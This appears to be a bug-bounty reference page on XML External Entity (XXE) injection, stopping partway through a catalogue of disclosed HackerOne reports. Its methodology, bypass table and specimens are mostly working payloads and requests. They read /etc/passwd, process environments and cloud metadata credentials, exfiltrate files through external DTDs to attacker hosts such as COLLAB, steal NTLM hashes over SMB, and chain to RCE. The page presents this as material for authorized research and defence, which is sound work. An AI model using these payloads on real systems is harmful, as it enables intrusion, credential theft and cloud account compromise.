⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued
🔎
Field Guide/Vulnerabilities/XML External Entities (XXE)
Vulnerabilities

XML External Entities (XXE)

§Basic information

XML External Entity injection (XXE) happens when an XML parser resolves attacker-defined entities declared in a <!DOCTYPE>. A SYSTEM/PUBLIC entity makes the server fetch a URL or read a file and fold the result back into the document — one primitive that reads local files (/etc/passwd, source, /proc/<pid>/environ), performs SSRF into internal services and cloud metadata, steals Windows NTLM hashes, and (chained) reaches RCE.

The core mechanic is the entity. A general entity (<!ENTITY xxe SYSTEM "...">, referenced as &xxe;) reads a resource into element text — great when output is reflected. A parameter entity (<!ENTITY % xxe SYSTEM "...">, referenced as %xxe;) works inside the DTD itself and is the key to blind exfiltration, because you can nest it to build an outbound URL carrying the stolen data. Treat any XML sink as a file-read + SSRF primitive, not a parse error — and remember XML hides far beyond Content-Type: application/xml (Office docs, SVG, SAML, image metadata, SQL functions).

§Methodology

  1. Find the XML sink. Direct XML/SOAP/.aspx endpoints, SAML ACS, file uploads (any zip-of-XML or media container), XML-processing SQL functions, and JSON APIs that also speak XML.
  2. Confirm DOCTYPE processing with a harmless out-of-band probe — no file read, just "does the server dial my host". A callback proves external entities resolve.
  3. Check for reflection. Reference a file:// entity in an element whose value comes back in the response — that's an in-band read. If nothing reflects, go blind/OOB with an external DTD.
  4. Read a file to prove impact (/etc/passwd, or a Windows path for .NET/IIS). Use php://filter base64 to survive multi-line files.
  5. Pivot outward — swap file:// for http:// to reach internal services and cloud metadata; on Windows point at a UNC path to capture NTLM.
  6. Chain to secrets, deserialization, or RCE (see Escalation).
<!-- Step 2: bare OOB probe — a hit on COLLAB confirms parsing --> <!DOCTYPE a PUBLIC "-//B/A/EN" "http://COLLAB/probe"> <a></a>
▸ TIP
The <!DOCTYPE a PUBLIC "-//B/A/EN" "http://COLLAB/x"> one-liner is the cheapest confirmation you have — it fires from a parameter-free position and works on many parsers that block general entities but still fetch the external subset. Validate parsing this way before spending time on a weaponised payload.

§Where XML parsing hides

The sink is rarely labelled "XML". Probe all of these:

§Payload techniques

Pick the variant that matches what the sink gives you back (reflection, nothing, or a rendered image).

In-band file read

Output is reflected — use a general entity and reference it in a reflected element. Match the OS path style.

<?xml version="1.0"?> <!DOCTYPE r [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <r><textToCheck>&xxe;</textToCheck></r>
<!-- Windows / .NET / IIS target --> <!DOCTYPE r [ <!ENTITY a SYSTEM "file:///c:/Windows/System32/drivers/etc/hosts"> ]> <r><resp>xml</resp><textToCheck>&a;</textToCheck></r>
● NOTE
Files with <, &, or multiple lines break XML parsing when read into a general entity. Wrap the read in php://filter/convert.base64-encode/resource=... (PHP targets) so the content arrives as inert base64 you decode offline. This is what makes reading source, configs, and /proc/.../environ reliable rather than corrupt.

Blind out-of-band exfiltration

No reflected output — this is the default case. Use an external DTD on your host plus a nested parameter entity that embeds the file content into an outbound request. A % inside an entity value would be expanded immediately by the parser, so you encode the inner % as &#x25; to defer expansion until the outer entity fires — that's what lets the inner <!ENTITY> be built with the file content already substituted in.

<!-- injected into the vulnerable endpoint --> <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "https://COLLAB/evil.dtd"> %xxe; ]> <foo></foo>
<!-- evil.dtd, hosted on COLLAB --> <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/nginx/sites-enabled/default"> <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://COLLAB/?x=%file;'>"> %eval; %exfiltrate;

The base64 blob arrives in your COLLAB access log. Read config files first (/etc/nginx/..., app config) to map internal/reverse-proxied services for the next pivot.

SSRF and cloud metadata

Swap file:// for http:// and the entity becomes an SSRF request. From any outbound-capable XXE, go straight for cloud metadata.

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys"> ]> <stockCheck>&xxe;</stockCheck>
▲ WARNING
GCP's v1beta1 metadata path (unlike v1) needs no Metadata-Flavor: Google header, so it is reachable through plain XXE — where GCP v1 (which requires that header) or AWS IMDSv2 (which requires a PUT-issued X-aws-ec2-metadata-token header) would need a header you can't set from an entity. On AWS, target the header-free IMDSv1 endpoint http://169.254.169.254/latest/meta-data/iam/security-credentials/.

If a plain http:// entity returns nothing (the parser won't reflect a raw HTTP body), wrap it in php://filter to force the response into a base64 entity value:

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:1337/">

XInclude fallback

When you don't control the whole document (you inject into one element) or SYSTEM entities are stripped, XInclude often still works. It needs no DOCTYPE.

<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include href="file:///etc/passwd" parse="text"/> </foo>
<!-- SSRF variant, e.g. rendered onto an SVG->PNG output --> <text x="10" y="10"><xi:include href="https://internal/" parse="text"/></text>

Container-format XXE (file upload)

The XML lives inside a legitimate-looking file, evading naive content checks. Unzip / hex-edit, inject a DOCTYPE, repackage, upload.

# Office Open XML (.xlsx/.docx/.xlf): edit the inner worksheet/part XML, then re-zip unzip book.xlsx -d x # add to x/xl/worksheets/sheet1.xml a DOCTYPE + entity, reference &xxe; in a cell value: # <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> cd x && zip -r ../evil.xlsx . && cd ..

For SVG, the parser renders <text>&xxe;</text> onto the output PNG = in-band read. For JPEG XMP or WAV/RIFF, hex-edit the embedded XML chunk's entity URL while keeping the container structure intact so the file still validates.

Windows NTLM hash theft

On Windows, a file:// (or UNC) reference to an attacker SMB share makes the server authenticate outbound — capture the NTLMv2 hash with responder or impacket-smbserver.

<!DOCTYPE r [ <!ENTITY a SYSTEM "file://ATTACKER-SMB/share/x"> ]> <r><textToCheck>&a;</textToCheck></r>

§Bypasses

Filter / controlBypassSeen in
Upload extension whitelistwhitelist enforced only via client-submitted allow_file_type_list param — strip/extend it, rename to .xml, then force a second endpoint to re-parse it#500515
URL regex on SVG fetchreference external SVG via //attacker/x.svg (UNC/SMB) to bypass the http(s):// block#347139
SYSTEM entity filteredfall back to XInclude (xi:include parse="text")#347139
JSON-only endpointresend as Content-Type: application/xml — the marshaller switches and entities resolve#106797
SAML signature checkentity processing happens during parse, before signature validation#106865
No reflected outputexternal DTD + nested parameter entity for OOB exfil#1217114
Multi-line file breaks DTD syntaxphp://filter/convert.base64-encode to flatten the read into inert base64#416123
http:// SSRF returns nothingwrap in php://filter/read=convert.base64-encode/resource=http://… to force the body into the entity#415202
PHP8 defaults look safeLIBXML_NOENT re-enables entity substitution; old libxml_disable_entity_loader guards became no-ops#1095645
Naive file-type / content checkhide the payload inside a legit .xlsx / JPEG XMP / WAV container's internal XML#836877
Patched fetcherblind XXE via a remote-XML-fetching URL parameter (patch bypass)#486732

§Escalation & impact

XXE is a launchpad, not a destination. In order of value:

§Prevention

§Tools

Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 25 in this class.

Real-world example

XXE via upload-filter bypass into a .NET XML page-parser

◆ Critical
Specimen #500515 · starbucks · awarded · 318 votes · resolved
Program starbucksSurface webChain file upload filter bypass -> stored XML -> server-sideTag file-upload

Root cause

An avatar/photo upload sends a client-controllable `allow_file_type_list` parameter; stripping/extending it lets an attacker upload a .xml (or .html) file, which a separate .NET endpoint (hxdynamicpage6.aspx / hxxmlservice6.aspx) then parses with DOCTYPE and external entities enabled.

Method

  1. Intercept the image upload; delete or append to `allow_file_type_list` (e.g. add `xml;html;`) and rename the file to .xml/.html to bypass the extension whitelist.
  2. Note the returned temp file path (temp_uploaded_<guid>.xml).
  3. Force the .NET parser to process it by setting `_hxpage=tempfiles/temp_uploaded_<guid>.xml` on hxdynamicpage6.aspx, or `HX_PAGE_NAME` on hxxmlservice6.aspx.
  4. Uploaded XML with an external-DTD reference makes the IIS/ASP.NET server call the attacker DTD host, confirming XXE.
POST /retail/hxpublic_v6/hxdynamicpage6.aspx?_hxpage=tempfiles/temp_uploaded_<guid>.xml&max_file_size_kb=1024&allow_file_type_list=xml;jpg;jpeg;png;bmp; # or: POST /retail/hxpublic_v6/hxxmlservice6.aspx HX_PAGE_NAME="tempfiles/temp_uploaded_<guid>.xml"

Insight — When an upload sends a client-side list of allowed extensions, strip/extend it. Then hunt for a second endpoint that re-parses the uploaded file by path/param -- an upload that becomes XML input to a server-side parser is an XXE sink. On Windows/IIS+ASP.NET, escalate toward NTLM hash theft.

Real-world example

XXE hidden in the XMP (XML) metadata of an uploaded JPEG

◆ Critical
Specimen #836877 · informatica · none · 137 votes · resolved
Program informaticaSurface webTag file-upload

Root cause

An avatar upload (Java servlet, .jspa) extracts and parses the JPEG's XMP metadata block as XML with external entities enabled, so an XXE payload embedded in the XMP segment of an otherwise valid image is processed server-side.

Method

  1. Craft a valid JPEG whose XMP metadata segment contains a DOCTYPE referencing an attacker external DTD (Burp Collaborator).
  2. Upload it via /edit-profile-avatar!uploadImage.jspa.
  3. Receive the Collaborator callback (GET /x.dtd, User-Agent Java...) confirming XXE; escalate to file read (/etc/passwd).
# XMP metadata block embedded in a real JPEG: <?xpacket begin='...'?> <x:xmpmeta xmlns:x='adobe:ns:meta/'> <!DOCTYPE foo [ <!ENTITY % ext SYSTEM "http://COLLAB/x.dtd"> %ext; ]> ... <?xpacket end='r'?>

Insight — Image-processing/avatar features read XMP metadata, which is XML. Embed XXE in the XMP of a genuine JPEG to slip past image-validation and reach the metadata XML parser. A Java User-Agent on the OOB callback confirms a Java parser.

Real-world example

XXE in a site-audit/SEO crawler that parses a user-supplied sitemap.xml

◆ Critical
Specimen #312543 · semrush · awarded · 114 votes · resolved
Program semrushSurface web

Root cause

The Site Audit crawler downloads a sitemap.xml URL you provide and parses it with a vulnerable Java XML processor; external parameter entities + an attacker external DTD enable OOB file read and directory listing.

Method

  1. Create a project pointing crawl source to your sitemap URL.
  2. Serve a sitemap.xml that declares a %goodies entity (file:///etc/hostname or file:///home/) and pulls an external combine.dtd.
  3. combine.dtd wraps %goodies into &xxe; which is exfiltrated in a <loc> URL back to your server.
  4. Point file:// at a directory (file:///home/) to leak directory listings.
<!-- sitemap.xml --> <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE urlset [ <!ENTITY % goodies SYSTEM "file:///etc/hostname"> <!ENTITY % dtd SYSTEM "http://attacker/combine.dtd"> %dtd; ]> <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> <url><loc>http://attacker/resp/&xxe;</loc></url> </urlset> <!-- combine.dtd --> <!ENTITY xxe "%goodies;">

Insight — Any feature that ingests a user-controlled sitemap.xml or a robots.txt `sitemap:` directive (site audits, SEO tools, search-index crawlers) is an XXE sink. Use file:///dir/ to enumerate directories, then read discovered files. Also seen in Elastic Enterprise Search (#1156748), where the crawler discovered the sitemap via robots.txt and the same external-DTD OOB read applied (limited to single-line files).

Real-world example

LFI+SSRF via XXE/XInclude in ImageMagick SVG->PNG rendering

◆ Critical
Specimen #347139 · rockstargames · 1500 USD · 79 votes · resolved
Program rockstargamesSurface webChain XXE/XInclude -> LFI (read files) + SSRF (fetch HTTP respoTag file-upload

Root cause

The emblem editor converts user-supplied SVG to PNG via a vulnerable ImageMagick; the SVG is parsed with external entities and XInclude enabled, and a regex filter is bypassed with `//` (SMB/UNC) references, allowing arbitrary SVG/XXE loading.

Method

  1. Bypass the URL regex by referencing external SVG via a double-slash SMB path: url(//attacker.com/malicious.svg#exploit).
  2. Deliver a classic XXE using an external DTD that reads a local file into an entity rendered as text in the emblem.
  3. Alternatively use XInclude (xi:include href parse=text) for a more reliable read of files/HTTP responses.
<!-- XXE --> <!DOCTYPE svg [ <!ENTITY % outside SYSTEM "http://attacker.com/exfil.dtd"> %outside; ]> <svg><defs><pattern id="exploit"><text x="10" y="10">&exfil;</text></pattern></defs></svg> <!-- exfil.dtd --> <!ENTITY % data SYSTEM "file:///C:/Windows/system32/drivers/etc/hosts"> <!ENTITY exfil "%data;"> <!-- XInclude alternative --> <text x="10" y="10"><xi:include href="https://internal/" parse="text"/></text>

Insight — SVG->PNG (ImageMagick/librsvg) conversion is a rich XXE/SSRF surface: the rendered output exfiltrates read files. If a regex blocks http(s)://, try `//host/file` (UNC/SMB) to bypass and load external SVG/DTD. XInclude often works where SYSTEM entities are filtered.

Real-world example

Reflected full-read XXE in a RapidSpell SpellCheck .aspx endpoint

◆ Critical
Specimen #715949 · deptofdefense · awarded · 37 votes · resolved
Program deptofdefenseSurface webChain XXE -> local file read + internal SSRF + NTLM hash theft

Root cause

A .NET RapidSpell helper endpoint accepts raw XML with a <textToCheck> field and parses it with external entities enabled; the entity value is reflected back in the response (in-band file read), and on Windows can be pointed at a UNC path to leak NTLM hashes.

Method

  1. Authenticate and POST text/xml to /Kview/.../RapidSpellHelpFile.aspx.
  2. Define a SYSTEM entity for a local file and reference it in <textToCheck>.
  3. The file contents are reflected in the spellcheck response.
  4. Point the entity at file://attacker-smb/share to capture NTLMv2 hashes; use http:// for internal SSRF.
POST /Kview/CustomCodeBehind/Base/Utilities/RapidSpellHelpFile.aspx HTTP/1.1 Content-Type: text/xml; charset=UTF-8 <?xml version="1.0"?> <!DOCTYPE r [<!ENTITY a SYSTEM "file:///c:\Windows\System32\Drivers\etc\hosts">]> <r><resp>xml</resp><textToCheck>&a;</textToCheck>...</r>

Insight — SpellCheck/RapidSpell/text-processing .aspx endpoints take raw XML and often reflect content in-band -> ideal for reflected XXE. On Windows targets, escalate a file:// XXE to NTLM domain-hash theft via a UNC/SMB path to an attacker host (see mediaservice.net writeup).

Real-world example

XXE via Apache Hive xpath_string() SQL function -> GCP metadata SSRF

◆ Critical
Specimen #742808 · evernote · none · 25 votes · resolved
Program evernoteSurface cloudChain open Hive -> xpath_string XXE -> SSRF -> GCP metadaTag cloud-gcp

Root cause

An exposed Apache Hive server (port 10000, open to anyone) exposes the xpath_string() SQL function, which parses attacker-supplied XML with external entities; the entity fetches the GCP metadata endpoint, turning the DB into an SSRF to cloud metadata.

Method

  1. Connect to the open Hive server with a compatible JDBC client version.
  2. Call xpath_string() on an XML doc whose SYSTEM entity points to metadata.google.internal (v1beta1 needs no header).
  3. The function returns the metadata value (project-id, then attributes/ssh-keys) directly in the query result.
select xpath_string('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys"> ]><stockCheck>&xxe;</stockCheck>', '*') FROM test LIMIT 5;

Insight — XML-processing SQL functions (Hive/Spark xpath, xpath_string, XMLTABLE) are overlooked XXE sinks that return results in-band. From any XXE with outbound access, pivot to cloud metadata: GCP's v1beta1 metadata path (unlike v1) requires no Metadata-Flavor header, so it's reachable via plain XXE -> full cloud-account compromise.

Real-world example

Two-stage blind OOB XXE via attacker-hosted S3 XML + external DTD

◆ Critical
Specimen #1217114 · h1-ctf · none · 16 votes · resolved
Program h1-ctfSurface webChain blind XXE OOB file read -> discover internal reverse-proxTag cloud-aws

Root cause

The app fetches an attacker-controlled files.xml from an S3 bucket keyed to the user hash and parses it blindly; a two-stage external-DTD payload with php://filter base64 and a nested parameter entity exfiltrates local files OOB despite no visible output.

Method

  1. Discover the app reads files.xml from s3://h1-<yourhash>; upload your own files.xml to that bucket.
  2. files.xml references your external evil.dtd via a parameter entity.
  3. evil.dtd base64-reads a target file with php://filter and builds a nested entity that requests your Collaborator with the data appended.
  4. Decode the base64 from your server logs; use it to read nginx config -> find an internal reverse-proxied app -> continue the chain (SQLi via ICMP packet-size exfil).
<!-- files.xml --> <?xml version="1.0"?> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://attacker-bucket/evil.dtd"> %xxe;]> <list></list> <!-- evil.dtd --> <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/nginx/sites-enabled/default"> <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://COLLAB/?x=%file;'>"> %eval; %exfiltrate;

Insight — The canonical OOB blind-XXE recipe: (1) app ingests a remote XML you host = your injection point; (2) external DTD + php://filter base64 lets you read multi-line files that would otherwise break DTD syntax; (3) nested parameter entity (%eval building %exfiltrate) sends the data to Collaborator. Read /etc/nginx config to map internal/reverse-proxied services for the next pivot.

Real-world example

PHP object injection -> XXE -> php://filter SSRF -> pickle RCE chain

◆ Critical
Specimen #415202 · h1-5411-ctf · none · 15 votes · resolved
Program h1-5411-ctfSurface webChain path traversal (source read) -> PHP object injection ->

Root cause

An import endpoint unserializes a base64 blob into a ConfigFile object whose parse() runs XML with libxml_disable_entity_loader(false); reaching it via object injection yields XXE, and php://filter turns the XXE into an SSRF that reads internal HTTP responses, ultimately reaching a pickle-RCE service.

Method

  1. Read source via a path-traversal in the `template` param (type=text) to find the ConfigFile class and import/export endpoints.
  2. Craft a serialized array containing a ConfigFile object whose config_raw is an XXE payload; base64 it and POST to import_memes_2.0.php.
  3. Because http:// entity output failed, wrap it: php://filter/read=convert.base64-encode/resource=http://target -> SSRF that returns response bodies.
  4. Read /proc/net/tcp to find the internal 127.0.0.1:1337 service, then exploit its base64-pickle status param for RCE.
a:3:{i:0;O:10:"ConfigFile":1:{s:10:"config_raw";s:222:"<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM \"php://filter/read=convert.base64-encode/resource=http://google.com\" >]> <payload><toptext>&xxe;</toptext></payload>";}}

Insight — When a disabled entity-loader (libxml_disable_entity_loader(false)) is reachable through PHP object injection, you get XXE for free. If a plain http:// SYSTEM entity produces no output, wrap it in php://filter/convert.base64-encode/resource=http://... to force the response into a base64 entity value -> reliable SSRF that reads internal HTTP responses. Use /proc/net/tcp via XXE/LFI to enumerate listening internal ports.

Real-world example

Blind XXE via a remote-XML-fetching URL parameter (patch bypass)

◆ High
Specimen #486732 · duckduckgo · none · 159 votes · resolved
Program duckduckgoSurface web

Root cause

The x.js endpoint fetches and parses an XML document whose URL is supplied in the `u` parameter; the parser still resolves external parameter entities, so a hosted XML that pulls a remote parameter-entity yields blind OOB XXE even after the initial fix.

Method

  1. Host an XML file that declares an external parameter entity and immediately expands it.
  2. Point the target at it: /x.js?u=http://attacker/xxe.xml
  3. Observe the inbound request to attacker for /Blind_xxe, confirming external-entity resolution.
<!-- hosted at http://attacker/xxe.xml --> <?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY % ext SYSTEM "http://attacker_host/Blind_xxe"> %ext; ]> <r></r>

Insight — Any parameter that makes the server fetch and parse a remote XML/URL (u=, url=, feed=, xml=) is an XXE sink. Always retest a 'fixed' XXE with parameter entities and external DTDs -- fixes that only block direct SYSTEM entities often miss the % param-entity + external DTD path.

Real-world example

XXE via XLSX (Office Open XML) import -> local file read

◆ High
Specimen #105434 · informatica · none · 45 votes · resolved
Program informaticaSurface webChain XXE -> arbitrary local file read (extendable to SSRF / OOTag file-upload

Root cause

An XLSX import feature parses the embedded XML (xl/worksheets/sheet1.xml) with an XXE-vulnerable parser (external entities enabled), so a malicious spreadsheet reads local files and reflects them into imported cell data.

Method

  1. Unzip a normal .xlsx and edit xl/worksheets/sheet1.xml to add a DOCTYPE with an external entity
  2. Reference the entity in a cell value; re-zip as .xlsx
  3. Upload/import the file into the app; the rendered project shows the file contents (e.g. /etc/passwd)
<!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe PUBLIC "lol" "file:///etc/passwd" >]> <!-- reference &xxe; inside a cell value in xl/worksheets/sheet1.xml, then re-zip to .xlsx -->

Insight — Any feature ingesting Office formats (xlsx/docx/pptx) or SVG/zip-of-XML is an XXE surface - the XML lives inside the container. Unzip, inject a DOCTYPE with a file:// (or http:// for OOB/SSRF) entity, re-zip, and import. Also applies to blind OOB exfil when output isn't reflected.

Real-world example

OOB XXE file read on XML login endpoint via external parameter-entity DTD

◆ High
Specimen #105753 · informatica · none · 25 votes · resolved
Program informaticaSurface web

Root cause

POST /ma/api/v2/user/login accepted Content-Type: application/xml and processed DOCTYPE parameter entities including external ones. Chaining a local file parameter entity with a remotely-hosted DTD that wraps it in an FTP request exfiltrates file contents out-of-band (classic OOB XXE), here reading /etc/passwd.

Method

  1. Find an endpoint accepting application/xml and confirm it processes DOCTYPE/entities
  2. Define a parameter entity pointing at a local file and another loading an attacker-hosted DTD
  3. The external DTD builds a nested entity that sends the file contents to an attacker FTP/HTTP listener
POST /ma/api/v2/user/login Content-Type: application/xml <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % b PUBLIC "lol" "file:///etc/passwd"> <!ENTITY % asd PUBLIC "lol" "http://ATTACKER/xx.html"> %asd; %rrr;]> <login><username>demo@informatica.com</username><password>Infa123</password></login> // xx.html (attacker-hosted external DTD): <!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://ATTACKER/%b;'>">%c;

Insight — Any API accepting application/xml is an XXE candidate even when the body looks like a simple login. Parameter-entity + external-DTD chaining gives OOB exfiltration when the response doesn't reflect the entity, and ftp:// avoids newline/format restrictions of http:// exfil. (This report was mis-CWE'd as resource consumption; it is file-disclosure XXE.)

Real-world example

Dogtag/RHCS PKI certrequests XXE (CVE-2022-2414)

◆ High
Specimen #2573567 · deptofdefense · none · 21 votes · resolved
Program deptofdefenseSurface web

Root cause

Red Hat Certificate System / Dogtag PKI exposes /ca/rest/certrequests, which parses a posted CertEnrollmentRequest XML with external entities enabled; the entity referenced in <ProfileID> is reflected in the error message (error-based file read). This is CVE-2022-2414.

Method

  1. POST application/xml to /ca/rest/certrequests with a SYSTEM entity for file:///etc/passwd.
  2. Reference it in <ProfileID>&ent;</ProfileID>.
  3. The 400 error 'Profile <file contents> Not Found' returns the file inline.
POST /ca/rest/certrequests HTTP/1.1 Content-Type: application/xml <!--?xml version="1.0" ?--> <!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]> <CertEnrollmentRequest> <Attributes/> <ProfileID>&ent;</ProfileID> </CertEnrollmentRequest>

Insight — Recognize Red Hat Certificate System / Dogtag PKI (/ca/ee/ca/, /ca/rest/*) and test CVE-2022-2414: ProfileID is an error-based reflected XXE file-read primitive. Any REST endpoint that echoes a parsed field back in an error is an in-band exfil channel.

Real-world example

XXE via uploaded XLIFF (.xlf) translation file

◆ High
Specimen #232614 · weblate · none · 18 votes · resolved
Program weblateSurface webTag file-upload

Root cause

Weblate's translate-toolkit parses uploaded XLIFF (.xlf) translation files as XML with external entities enabled; a user in the Translate group can upload a modified .xlf whose entity reads a local file, which is then displayed back as a translation.

Method

  1. Download a component's translations as .xlf.
  2. Insert a DOCTYPE with <!ENTITY xxe SYSTEM "file:///etc/passwd"> after the <?xml tag.
  3. Replace a translation string with &xxe; and re-upload.
  4. View the translation to see the file contents rendered in the UI.
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <!-- then use &xxe; inside a <target>/<source> translation string -->

Insight — Translation and localization file formats are XML (XLIFF/.xlf, TMX, .resx, some .po tooling). Upload features for these are XXE sinks, and the imported values are usually reflected back where the translation is shown -> in-band read. Requires only Translator-level privileges.

Real-world example

PHP object injection -> XXE -> /proc/PID/environ -> token reuse

◆ High
Specimen #416123 · h1-5411-ctf · none · 15 votes · resolved
Program h1-5411-ctfSurface webChain PHP object injection -> XXE local file read -> /proc/e

Root cause

A .memepack import deserializes a PHP object whose config_raw is parsed as XML with external entities enabled, giving arbitrary local file read; reading Apache's /proc/<pid>/environ leaks env-var secrets (Papertrail API token, GPG keys) that are then reused against the third-party API.

Method

  1. Craft a serialized PHP array where element 1 is a ConfigFile object with an XXE payload in config_raw
  2. Import the .memepack file; the XXE resolves php://filter to base64-read a target file
  3. Chain file reads: apache2.conf -> envvars -> apache2.pid (PID) -> /proc/<PID>/environ
  4. Extract PAPERTRAIL_API_TOKEN from environ and reuse it against papertrailapp.com API
a:2:{i:0;s:93:"../data/memes/<known>.txt";i:1;O:10:"ConfigFile":1:{s:10:"config_raw";s:276:"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=file:///proc/10/environ'>]><meme><template>&xxe;</template><type>TEXT</type></meme>";}} # then: curl -i -H "X-Papertrail-Token: <TOKEN>" https://papertrailapp.com/api/v1/events/search.json?q=error

Insight — When you get arbitrary file read, don't stop at /etc/passwd: walk config -> pidfile -> /proc/<pid>/environ to harvest process environment secrets (API tokens, cloud keys), then pivot by reusing those tokens against the real service. php://filter base64 defeats binary/parse issues.

Real-world example

XXE by switching Content-Type JSON->XML on a JSON API + OOB file read

◆ High
Specimen #106797 · informatica · none · 14 votes · resolved
Program informaticaSurface apiChain XXE -> local file read -> OOB exfil (FTP/HTTP) -> iTag saml

Root cause

A JSON REST endpoint is backed by a marshaller (JAXB) that also accepts application/xml. Re-sending the same request as XML with a DOCTYPE lets external entities be resolved, exposing classic XXE on an API that looked JSON-only.

Method

  1. Take a working JSON API request, change Content-Type to application/xml and translate the body to equivalent XML
  2. Add a DOCTYPE with a SYSTEM entity; error messages (JAXBException path) confirm file access
  3. Escalate to OOB exfiltration with an external DTD / parameter entity to your host
POST /api/rest/mpapi/infaMPAPISearchWebService/query Content-Type: application/xml;charset=UTF-8 <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <params><queryParams><query>&xxe;</query></queryParams><source>marketplace</source><rows>5</rows></params>

Insight — Always retry JSON/other endpoints as application/xml - many frameworks (JAXB, Jackson XML, .NET) transparently switch marshallers and expose XXE the JSON path hid. Also seen on a YouTrack user-import PUT (#114476) with Java OOB FTP exfil and directory listing.

Real-world example

Blind XML external-entity/include injection detected via OOB collaborator

◆ High
Specimen #1150799 · deptofdefense · none · 13 votes · resolved
Program deptofdefenseSurface webChain XML injection -> external XSD/XInclude fetch -> blind

Root cause

A server-side XML processor accepts attacker XML that references external resources - via xsi:schemaLocation (loads an external XSD) or XInclude href - causing the server to make outbound HTTP/DNS requests to an attacker collaborator (blind SSRF / external service interaction).

Method

  1. Identify an endpoint/file parameter that parses XML.
  2. Submit XML with xsi:schemaLocation pointing at http://<collab>/x.xsd, or an XInclude href to the collaborator (URL-encode the payload).
  3. Wait ~30-60s and observe DNS/HTTP hits on the collaborator confirming server-side XML fetch.
<fkp xmlns="http://a.b/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://a.b/ http://<COLLAB>/fkp.xsd">fkp</fkp> <!-- XInclude variant (#997381): --> <vuc xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://<COLLAB>/foo"/></vuc>

Insight — Blind XML injection is confirmable out-of-band even without entity output: xsi:schemaLocation forces an XSD fetch and XInclude forces an href fetch. Always URL-encode, and be patient (schema/DTD fetch can lag). Both are SSRF/external-interaction primitives usable as an attack proxy.

Real-world example

XXE via base64 SAMLResponse at the SSO ACS endpoint

◆ High
Specimen #106865 · informatica · none · 12 votes · resolved
Program informaticaSurface webChain XXE at SSO -> OOB DTD fetch -> file read / SSRF into iTag saml

Root cause

The SAML assertion consumer parses the base64-decoded SAMLResponse XML with an XXE-vulnerable parser before/without signature enforcement, so a DOCTYPE with a parameter entity triggers outbound requests and file access.

Method

  1. Craft a SAMLResponse XML that begins with a DOCTYPE declaring a parameter entity pointing at your host
  2. Base64+URL-encode it and POST as SAMLResponse to the /sso ACS endpoint
  3. Confirm the server fetches your external DTD (OOB), then escalate to file exfiltration
SAMLResponse (before base64): <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY % asd SYSTEM "http://evilhost"> %asd;]> <samlp:Response ...>...</samlp:Response>

Insight — SAML ACS endpoints are a prime XXE surface: the SP must parse attacker-influenced XML. Prepend a DOCTYPE/parameter-entity to any SAMLResponse and watch for OOB callbacks - often works even with an invalid signature because parsing happens first.

Real-world example

PeopleSoft PSIGW XXE -> SSRF -> Apache Axis service deploy = RCE (CVE-2017-3548)

◆ High
Specimen #710654 · deptofdefense · none · 9 votes · resolved
Program deptofdefenseSurface webChain XXE -> SSRF to localhost Apache Axis AdminService -> d

Root cause

Oracle PeopleSoft's /PSIGW/PeopleSoftServiceListeningConnector parses XML with a DOCTYPE PUBLIC external reference (CVE-2017-3548); the SYSTEM/PUBLIC URL is fetched server-side (SSRF), and pointing it at the localhost Apache Axis /pspc/services/AdminService lets an attacker deploy a new SOAP service -> RCE.

Method

  1. Send a DOCTYPE with a PUBLIC identifier whose URL targets http://localhost:80/pspc/services/AdminService.
  2. URL-encode an Axis wsdd deployment that registers a new service (className org.apache.pluto.portalImpl.Deploy, allowedMethods *).
  3. The connector fetches the URL, deploying the service; confirm at /pspc/services/<name>.
  4. Use the deployed Axis service to achieve command execution.
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1 Content-Type: application/xml <!DOCTYPE a PUBLIC "-//B/A/EN" "http://localhost:80/pspc/services/AdminService?method=<url-encoded Axis wsdd deploying service 'h1testservice' with className org.apache.pluto.portalImpl.Deploy and allowedMethods=*>"> <a></a>

Insight — PeopleSoft PSIGW listening connector is a signature XXE (probe with a simple DOCTYPE PUBLIC that dials your host). Escalate the XXE-driven SSRF to the internal Apache Axis AdminService (localhost /pspc/services/AdminService) to deploy an attacker service = RCE. This is CVE-2017-3548; a bare probe payload (<!DOCTYPE a PUBLIC "-//B/A/EN" "HELLO_XXE">) confirms parsing before weaponizing.

Real-world example

Out-of-band XXE via parameter entity on XML login endpoint

◆ High
Specimen #105980 · owncloud · none · 2 votes · resolved
